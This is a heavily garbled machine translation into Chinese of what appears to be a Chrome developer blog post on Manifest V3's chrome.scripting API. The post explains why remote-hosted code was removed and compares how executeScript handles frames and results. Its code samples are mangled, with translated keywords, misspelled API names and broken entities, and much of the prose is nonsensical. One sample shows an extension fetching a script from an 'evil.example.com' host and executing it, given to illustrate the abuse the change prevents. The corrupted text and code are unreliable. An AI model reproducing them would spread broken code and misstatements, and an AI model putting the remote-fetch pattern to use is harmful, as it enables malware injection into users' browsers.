Manifest V3引入了镀铬的一些变化和扩展平台。在这篇文章中,我们' ll探索一个更具显着变化之一的动机和变化:Chrome.scripting API的引入。
由于名称可能会建议,Chrome.Scripting是一个在纸张和样式注入功能负责的清单V3中引入的新命名空间。
创建过去的Chrome扩展的开发人员可能熟悉Tabs API上的清单v2方法,如chrome.tabs.executeScript和Chrome.tabs.insertcss。这些方法允许分别将脚本和样式表注入页面。在Manifest V3中,这些功能已移动到Chrome.Scripting,我们计划将来扩展此API,并将在未来一些新功能。
随着这样的变化,一个往来迎来的第一个问题之一是,"为什么?"
一些不同的因素导致Chrome团队决定引入新的命名空间进行脚本。首先,标签API是用于功能的垃圾抽屉的一点。其次,我们需要对现有的execuSticrep API进行断开更改。第三,我们知道我们想扩展扩展的脚本功能。这些问题清楚地定义了对新名称空间来满足脚本功能的需求。
过去几年困扰扩展团队的问题之一是Chrome.Tabs API已过载。当第一次推出此API时,它提供的大部分功能与浏览器选项卡的广泛概念有关。然而,即使在那一点,它也是一系列的特征,而多年来,这一系列只有成长。
通过释放时间张平的v3,Tabs API已生长为涵盖基本选项卡管理,选择管理,窗口组织,消息传递,缩放控制,基本导航,脚本以及其他一些较小功能。虽然这些都很重要,但在他们维护平台并考虑开发人员社区的帖子时,开发人员可能有点压倒性。
另一个复杂因素是禁忌允许不太了解。虽然许多其他权限限制对给定API的访问(例如存储器),但此权限有点异常,因为它只授予TAB实例上的敏感属性的扩展访问(并且扩展也影响Windows API)。可以理解的是,许多扩展开发人员错误地认为他们需要此权限,以便访问像Chrome.Tabs.Create等标签API上的方法或更德国Chrome.Tabs.executeScript。从标签API中移动功能有助于清除一些混淆。
在设计清单V3时,我们想要解决的主要问题之一是弊端和#34启用的恶意软件;远程托管代码" - 执行的代码,但不包含在扩展包中。它'滥用扩展作者共同执行从远程服务器获取的脚本窃取用户数据,注入恶意软件和避免检测。虽然良好的演员也使用这种能力,但我们最终觉得它仍然太危险了。
扩展可以执行不同的不同方式,但这是这里的相关v2 chrome.tabs.executeScript方法。此方法允许扩展在目标选项卡中执行任意代码串。反过来,这意味着恶意开发人员可以从远程服务器获取任意脚本,并在扩展可以访问的任何页面内执行它。我们知道如果我们想解决我们必须丢弃此功能的远程代码问题。
(async函数(){让结果=等待获取(' https://evil.example.com/malware.js& n39;);让脚本=等待结果。Text(); chrome .tabs。executecript( {code:script,});})();
我们还希望清理其他一些更微妙的问题,用清单V2版本和#39; S设计,使API成为更抛光和可预测的工具。
虽然我们可以在标签API内更改此方法的签名,但我们觉得在这些破坏的变化和引入新功能之间(在下一节覆盖)之间,每个人都会更容易。
进入清单V3设计过程的另一个考虑因素是将额外的脚本能力引入镀铬和#39; S扩展平台。具体来说,我们希望为动态内容脚本添加支持,并展开execuSticre方法的功能。
动态内容脚本支持在铬中是一个长期的功能请求。今天,Manifest V2和V3 Chrome扩展只能在其Manifest.json文件中静态声明内容脚本;该平台并不提供在运行时注册新内容脚本,调整内容脚本注册或取消注册内容脚本的方法。
虽然我们知道我们想要在幻灯片中解决此功能请求,但我们的现有API都没有像正确的家一样。我们还考虑与Firefox对齐他们的内容脚本API,但很早,我们确定了对这种方法的几个主要缺点。首先,我们知道我们会有不兼容的签名(例如,丢弃对代码属性的支持)。其次,我们的API具有不同的设计约束(例如,需要注册以超越服务工作者和寿命)。最后,这个命名空间也会将我们归类到内容脚本功能,其中我们更广泛地考虑扩展脚本。
在executecript front上,我们还想扩展此API可以超出所支持的标签版本的内容。更具体地说,我们希望支持功能和参数,更容易瞄准特定帧,并瞄准非"标签"背景。
向前迈进,我们也考虑到延伸可以与安装的pwas和其他语境相互作用,也可以在概念上映射到"标签。"
在这篇文章的剩余部分中,我喜欢仔细看看Chrome.Tabs.executeScript和Chrome.Scripting.executeScript之间的相似之处和差异。
虽然考虑到平台如何根据远程托管的代码限制来发展,但我们希望在任意代码执行的原始功率之间找到平衡,并且仅允许静态内容脚本。我们击中的解决方案是允许扩展将函数注入内容脚本,并将值数组传递为参数。
让&#39快速查看(超薄)示例。假设我们想在用户点击扩展名' s动作按钮(工具栏中的图标)时注入一个脚本。在Manift V2中,我们可以动态构建代码字符串并在当前页面中执行该脚本。
//清单V2扩展Chrome .browseraction .onclicked。 addListener(异步(标签)=> {Let UserReq =等待获取(' https:///example.com/greeg-User.js');让用户脚本= await userreq。text(); chrome。标签。executecript({// userscript =='警报(" hello,< gend_name>")'代码:用户签到,});});
虽然表明V3扩展可以' t使用捆绑在扩展名的代码,我们的目标是保留一些动力,即为清单v2扩展为启用任意代码块。该函数和参数方法使Chrome Web Store Reviewers,用户和其他有关方面成为可能更准确地评估扩展姿势的风险,同时允许开发人员根据用户设置或应用程序状态修改扩展和#39; s运行时行为。
//清单v3扩展函数greetUser(名称){警报(`hello,$ {name}!`); Chrome .action .clicked。 AddListener(async(tab)=> {let userreq = await获取(' / https://example.com/user-data.json');让用户= await userreq。json();让给定名称=用户.givenname ||'<'; chrome。; chrome.scripting。executecript({target:{tabid:tab .id},func:greetUser,args:[gendname],}); });
我们还想改进开发人员如何在修订的API中与帧交互。 Manifest V2版本的executecript允许开发人员针对选项卡中的所有帧或选项卡中的特定帧。您可以使用使用chrome.webnavigation.getAllFrams获取选项卡中的所有帧的列表。
//清单V2扩展Chrome .browseraction .onclicked。 addListener((标签)=> {Chrome.WebNavigation。GetAllFrame({塔巴id:选项卡.ID},(框架)=> {Let Frame1 =帧[0] .FrameID; Let Frame2 =帧[1] .FrameID; Chrome .tabs。executecript(标签.id,{frameId:frame1,文件:' content-script.js',}); chrome .tabs。executecript(tab.id,{frameId:frame2,文件: ' content-script.js',});});});
在Manifest V3中,我们在选项对象中替换了选项对象中的可选FrameId Integer属性,其中包含一个整数的可选FrameIDS数组;这允许开发人员在单个API调用中瞄准多个帧。
//清单V3扩展Chrome。Acction .clicked。 addListener(异步(标签)=> {让帧=等待Chrome .WebNavigation。GetAllFrames({Tabid:Tab .ID}); Let Frame1 =帧[0] .FrameID; Let Frame2 =帧[1] .FrameID; Chrome .Scripting。executecript({target:{tabid:tab .id,frameids:[frame1,frame2],},文件:[' content-script.js'],});
我们还改善了我们回到脚本注入结果的方式,v&#39。 A"结果"基本上是在脚本中评估的最终陈述。想象它就像调用eval()时返回的值,或者在Chrome Devtools控制台中执行一块代码,但序列化以跨进程传递结果。
在Manifest V2中,Executecript和InsertCS将返回一系列普通执行结果。如果您只有单个注射点,则这很好,但是在将多个帧中注入到多个帧中时,不会保证结果订单,因此没有办法告诉哪个结果与哪个帧相关联。
对于具体的例子,让' s查看由清单v2返回的结果阵列和同一扩展名的清单V3版本。两个版本的扩展名将注入相同的内容脚本和我们' ll在同一个演示页面上比较结果。
当我们运行清单v2版本时,我们会返回[1,0,5]的数组。哪个结果对应于主框架,它是iframe?返回值并不告诉我们,所以我们不确定。
//清单V2扩展Chrome .browseraction .onclicked。 addListener((tab)=> {Chrome .tabs。executecript({allframes:true,file:' content-script.js',},(结果)=> {//结果== [ 1,0,5]用于(令结果结果){if(结果> 0){//与帧做某事......是哪一个?}}});});
在清单V3版本中,结果现在包含一个结果对象数组而不是仅仅是评估结果的数组,而结果对象清楚地识别每个结果的帧的ID。这使得开发人员可以更容易利用结果并对特定帧采取动作。
//清单V3扩展Chrome。Acction .clicked。 addListener(async(tab)=> {let结果=等待Chrome .scripting。executecript({target:{tabid:tab .did,Allframes:True},文件:[' content-script.js' ],}); //结果== [// {frameId:0,结果:1},// {frameId:1235,结果:5},// {frameId:1234,结果:0} //] (结果结果){if(结果.result> 0){控制台。日志(在帧$ {结果.frameID}')的日志(找到$ {结果} p标签; //发现1 p标签( s)在框架0 //框架1235}}}})中找到5个pag(s);
清单版本颠簸为重新思考和现代化扩展API提供了一个难得的机会。 我们用幻觉V3的目标是通过使延伸更安全的同时提高开发人员体验,改善最终用户体验。 通过介绍Chrome.Scripting在Manifest V3中,我们能够帮助清理标签API,以便为更安全的扩展平台进行重新通知,并为今年晚些时候奠定新的脚本功能的基础。